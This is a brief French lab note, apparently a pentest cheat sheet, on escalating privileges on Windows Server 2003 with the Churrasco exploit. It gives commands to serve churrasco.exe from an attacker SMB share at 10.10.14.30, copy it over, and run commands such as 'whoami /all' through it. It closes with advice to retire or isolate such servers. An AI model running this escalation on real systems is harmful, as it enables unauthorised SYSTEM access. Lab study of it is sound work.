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# Windows Server 2003 - Churrasco
Windows Server 2003 est obsolète et expose de nombreuses faiblesses historiques. Cette note montre l’utilisation de Churrasco dans un laboratoire lorsqu’un contexte de privilèges compatible est présent.
## Détection
```powershell
systeminfo
```
Vérifiez les privilèges disponibles :
## Outil
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## Transfert via SMB
```bash
smbserver.py share $(pwd) -smb2support
```
```powershell
copy \\10.10.14.30\share\churrasco.exe churrasco.exe
```
Tester l'exécution :
```powershell
./churrasco.exe "whoami"
```
## Validation de la commande privilégiée
Servez un petit utilitaire de validation uniquement si le laboratoire l’exige :
```bash
smbserver.py share $(pwd) -smb2support
```
Exécutez la commande via Churrasco :
```powershell
.\churrasco.exe "cmd /c whoami /all > C:\WINDOWS\Temp\churrasco-check.txt"
type C:\WINDOWS\Temp\churrasco-check.txt
```
## Points clés
* Windows Server 2003 doit être considéré comme non maintenable en production.
* Confirmez l’architecture et les privilèges avant de tester l’exploit.
* Corrigez en retirant le système ou en imposant une isolation stricte jusqu’à ce que la migration soit terminée.
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